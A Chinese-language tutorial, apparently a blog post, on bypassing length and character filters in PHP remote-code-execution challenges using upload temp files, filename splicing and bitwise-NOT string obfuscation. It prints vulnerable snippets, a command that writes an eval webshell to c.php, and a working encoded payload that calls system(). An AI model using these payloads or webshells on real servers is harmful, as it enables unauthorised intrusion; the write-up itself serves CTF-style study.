RCE长度&字符限制绕过

临时文件绕过RCE

核心机制

当 PHP 接收multipart/form-data类型 POST 请求(上传文件)时:

  1. PHP 会自动把上传的文件保存到服务器磁盘,生成临时文件
  2. 临时文件路径存于:$_FILES'表单名''tmp_name'
  3. 默认生命周期:脚本执行结束,PHP 自动删除这个临时文件;脚本运行期间文件真实存在磁盘上。
  4. 临时文件名是随机,例如 /tmp/phpXXXXXX,但是临时文件名中有大小写

只有multipart/form-data表单上传文件才生成临时文件;普通application/x‑www‑form‑urlencodedPOST 纯参数不会生成临时文件。

临时文件绕过

1.长度限制绕过

复制代码
<?php
$param = $_REQUEST['param'];
if ( strlen($param) < 8 ) {
    echo shell_exec($param);
}

方法一临时文件绕过

修改请求头

Content‑Type: text/plain

声明上传文件的 MIME 类型,这里标记为普通文本

10--11行是1.txt中的内容

在tmp目录成功产生临时文件

再使用点空格,就算没有可执行权限也能执行该文件

.

方法二:文件名拼接绕过长度限制

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7 | base64 -d > c.php

base64 -d是解码的意思

解码后:<?php eval($_GET1);

具体原理如下:

两个反斜杠实现转义反斜杠,文件名就是 c.\

在 Shell 脚本中:如果一行的结尾是 \,代表本行没有结束,把下一行和当前行拼接为同一行命令

重定向>和空格

-t时间排序

echo id > c.php

成功生成后门c.php,如果把id换成其他可执行 PHP 代码,后续就可以用蚁剑连接,就能控制服务器。

2.字符限制

php8.5不再支持

复制代码
<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_\$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

方法一正则:

在code的参数中不能出现字母和数字,,于是用?来代替单个字母,分析临时文件发现在tmp目录中只有临时文件名会出现大写字母于是可以用**@-\[**表示A-Z。

在ascii码表中@过来了就是A,Z过了就是。而在正则中\[表示括号内任意一个字符。

因此可以匹配末尾是否是大写字母来匹配这个文件名

构建post上传文件请求头

成功但是没有输出

使用?><?=

?>闭合开头的<?php标签

<?= 是 PHP短输出标签,等价于 <?php echo

方法二取反:

原理如下:

以phpinfo();为例

输出取反后的值是一堆不可打印二进制字节

进行url编码后

又能识别了

那直接对这个url编码进行取反

system ('id')

分析原理

原始字符串 system 是由字母组成的,但是 ~"system" 得到的不是可见字母,是一堆不可打印二进制字节

payload:

复制代码
code=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

为什么这样还能执行?

1.HTTP 报文传输

请求参数里出现的%8C这类内容,只是 HTTP 协议的 URL 编码写法。报文里虽然看着有数字字母,但这只是编码格式。

2.PHP 自动 URL 解码

PHP 接收 GET 参数,自动完成解码。

%xx 整体被解码成0x80‑0xFF 范围的不可见字节。

解码之后,原来报文里的数字、字母字符直接消失,内存里存的是不可见二进制字节,不属于字母、数字。

如下图:因为此时还没有取反

3.过滤检测

preg_match检测的是解码之后的$_GET'code'变量。

变量内容只有符号~ () " ;加上一批不可见高字节,没有字母数字,过滤直接放行。

4.eval 执行代码

eval 拿到放行后的字符串执行:

**~对这些不可见字节做按位取反运算,**代码运行的时候,在内存动态计算出system、id这类带字母的字符串。

注意:system/id并不是用户输入携带的,是运行时运算生成出来的。输入过滤只会检查用户输入,不会检测程序运行过程中动态生成的数据。

PHP 语法(字符串)(参数)完成函数调用,最终执行 system("id");。

思考:

通过取反这种方式,是否可以绕过一些安全工具的限制?这些工具会检查输入源代码。

静态可以,动态行为检测不行

相关推荐
AI编码进化论11 小时前
云IDE介绍:环境模板化、Agent上云,云IDE该怎么选
开发语言·ide·人工智能·团队开发·ai编程
晴天的雨.99211 小时前
[C++算法]盛最多水的容器(双指针算法)
开发语言·c++·算法
泡海椒11 小时前
jquick-pdf 文本元素实战:段落、行内文本、制表符用法详解
java·开发语言·pdf
“AI国潮设计-小江”12 小时前
【SDXL实战】Python自动化生成3D潮汕美食IP,附ComfyUI工作流与商用变现思路
开发语言·人工智能·python·prompt·aigc
此生决int12 小时前
深入理解C++系列(19)——C++11(上)
开发语言·c++
郝学胜-神的一滴13 小时前
C++20模板元编程 05:吃透变参模板,解锁编译期万能参数能力
服务器·开发语言·c++·windows·vscode
C++ 老炮儿的技术栈1 天前
我们在设计tcp协议时,要传一个字符串过去,报文:头十长度十内容,是否要把‘\0‘也填入,长度是否包含‘\0‘
开发语言·数据结构·c++·mfc·c
传奇开心果编程1 天前
【Rust入门练中学】第2课:变量、可变性与常量
开发语言·学习·rust
zr想努力1 天前
从0开始配置Perforce4环境
开发语言
4SAPI1 天前
企业大模型API服务商推荐:从多模型接入到AI API Gateway的技术选型分析
人工智能·php